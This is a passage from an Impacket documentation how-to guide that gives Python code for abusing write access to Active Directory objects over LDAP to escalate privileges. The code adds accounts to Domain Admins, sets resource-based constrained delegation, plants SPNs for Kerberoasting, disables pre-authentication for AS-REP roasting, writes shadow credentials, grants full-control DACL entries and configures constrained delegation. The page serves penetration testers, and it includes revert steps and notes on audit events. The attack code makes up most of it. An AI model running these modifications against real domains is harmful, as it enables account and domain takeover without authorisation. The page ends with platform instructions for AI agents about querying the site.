> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/ad-ldap-write-ops.md).

# Writing to Active Directory Objects

You have write access to specific Active Directory attributes and need to modify them to escalate privileges.

## What you need

* An account or relayed session with write permissions on the target AD object
* Network access to the domain controller on port 389 or 636

***

## Connection setup

```python
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE
from impacket.ldap.ldapasn1 import SearchResultEntry

ldap_conn = ldap_impacket.LDAPConnection(url=f"ldap://{dc_ip}", baseDN=base_dn)
ldap_conn.login(user=username, password=password, domain=domain)
```

***

## Add a user to a group

If you have write access to a group's `member` attribute:

```python
group_dn = "CN=Domain Admins,CN=Users,DC=lab,DC=local"
user_dn = "CN=compromised_user,CN=Users,DC=lab,DC=local"

ldap_conn.modify(group_dn, {
    'member': [(MODIFY_ADD, user_dn)]
})

# Revert
ldap_conn.modify(group_dn, {
    'member': [(MODIFY_DELETE, user_dn)]
})
```

***

## Configure Resource-Based Constrained Delegation (RBCD)

If you have write access to a computer's `msDS-AllowedToActOnBehalfOfOtherIdentity`:

### Get the SID of the account you control

```python
resp = ldap_conn.search(
    searchFilter=f"(sAMAccountName={controlled_account})",
    attributes=["objectSid"],
)
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    for attribute in item["attributes"]:
        if str(attribute["type"]) == "objectSid":
            controlled_sid = attribute["vals"][0].asOctets()
```

### Build and write the security descriptor

```python
from impacket.ldap import ldaptypes
from impacket.dcerpc.v5.dtypes import SID

sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd['Revision'] = 1
sd['Control'] = 0x0004  # SE_DACL_PRESENT

ace = ldaptypes.ACE()
ace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
ace['AceFlags'] = 0
ace['Ace'] = ldaptypes.ACCESS_ALLOWED_ACE()
ace['Ace']['Mask'] = ldaptypes.ACCESS_MASK()
ace['Ace']['Mask']['Mask'] = 983551
ace['Ace']['Ace']['Sid'] = SID(data=controlled_sid)

acl = ldaptypes.ACL()
acl['AclRevision'] = 2
acl.aces = [ace]
sd['Dacl'] = acl

target_dn = "CN=TARGET-PC,CN=Computers,DC=lab,DC=local"
ldap_conn.modify(target_dn, {
    'msDS-AllowedToActOnBehalfOfOtherIdentity': [(MODIFY_REPLACE, sd.getData())]
})

# Revert
ldap_conn.modify(target_dn, {
    'msDS-AllowedToActOnBehalfOfOtherIdentity': [(MODIFY_REPLACE, b'')]
})
```

***

## Set an SPN for targeted Kerberoasting

If you have `GenericWrite` on a user, add an SPN to make them Kerberoastable:

```python
target_dn = "CN=HighValueUser,CN=Users,DC=lab,DC=local"
fake_spn = "HTTP/fake.lab.local"

ldap_conn.modify(target_dn, {
    'servicePrincipalName': [(MODIFY_ADD, fake_spn)]
})

# After requesting and cracking the TGS, remove it
ldap_conn.modify(target_dn, {
    'servicePrincipalName': [(MODIFY_DELETE, fake_spn)]
})
```

***

## Disable Kerberos pre-authentication for AS-REP roasting

If you have write access to a user's `userAccountControl`:

```python
# Read current UAC
resp = ldap_conn.search(
    searchFilter=f"(distinguishedName={target_dn})",
    attributes=["userAccountControl"],
)
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    for attribute in item["attributes"]:
        if str(attribute["type"]) == "userAccountControl":
            current_uac = int(str(attribute["vals"][0]))

# Set DONT_REQ_PREAUTH (0x400000)
new_uac = current_uac | 0x400000
ldap_conn.modify(target_dn, {
    'userAccountControl': [(MODIFY_REPLACE, str(new_uac))]
})

# After obtaining the AS-REP hash, restore the original UAC
ldap_conn.modify(target_dn, {
    'userAccountControl': [(MODIFY_REPLACE, str(current_uac))]
})
```

***

## Write Shadow Credentials (msDS-KeyCredentialLink)

If you have write access to `msDS-KeyCredentialLink` on a user or computer object:

```python
# This requires generating a self-signed certificate and building a KeyCredential
# structure per MS-ADTS. The KeyCredential binary value contains:
# - Version, KeyID, KeyHash
# - KeyMaterial (the public key from your generated certificate)
# - KeyUsage, KeySource, DeviceId, CustomKeyInformation
# - KeyApproximateLastLogonTimeStamp

# After building the binary value:
ldap_conn.modify(target_dn, {
    'msDS-KeyCredentialLink': [(MODIFY_ADD, key_credential_dn_binary)]
})

# You can then authenticate using the certificate's private key via PKINIT
```

***

## Modify a DACL (WriteDacl permission)

### Read the current security descriptor

```python
resp = ldap_conn.search(
    searchBase=target_dn,
    searchFilter="(objectClass=*)",
    attributes=["nTSecurityDescriptor"],
)

for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    for attribute in item["attributes"]:
        if str(attribute["type"]) == "nTSecurityDescriptor":
            current_sd = ldaptypes.SR_SECURITY_DESCRIPTOR(attribute["vals"][0].asOctets())
```

### Add a full-control ACE for your account

```python
new_ace = ldaptypes.ACE()
new_ace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
new_ace['AceFlags'] = 0
new_ace['Ace'] = ldaptypes.ACCESS_ALLOWED_ACE()
new_ace['Ace']['Mask'] = ldaptypes.ACCESS_MASK()
new_ace['Ace']['Mask']['Mask'] = 983551  # Full control
new_ace['Ace']['Ace']['Sid'] = SID(data=your_sid_bytes)

current_sd['Dacl'].aces.append(new_ace)

ldap_conn.modify(target_dn, {
    'nTSecurityDescriptor': [(MODIFY_REPLACE, current_sd.getData())]
})
```

***

## Configure constrained delegation (msDS-AllowedToDelegateTo)

If you have write access to a service account's `msDS-AllowedToDelegateTo`:

```python
target_spn = "cifs/target-server.lab.local"
ldap_conn.modify(service_account_dn, {
    'msDS-AllowedToDelegateTo': [(MODIFY_ADD, target_spn)]
})
```

This allows the service account to request service tickets on behalf of other users to the specified SPN using S4U2Proxy.

***

## Operational notes

All AD attribute modifications generate Event ID 5136 (Directory Service Changes) when object access auditing is enabled. Group membership changes are especially visible. Always track your original values so you can revert cleanly.

The overall goal here wasnt to show you a How-To that is able to do *everything*. Now you know the core of how we may be able to play around with AD objects and combined with our LDAP tutorial, you should easily be able to experiment and explore and expand all the relevant content as you need/want.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/ad-ldap-write-ops.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
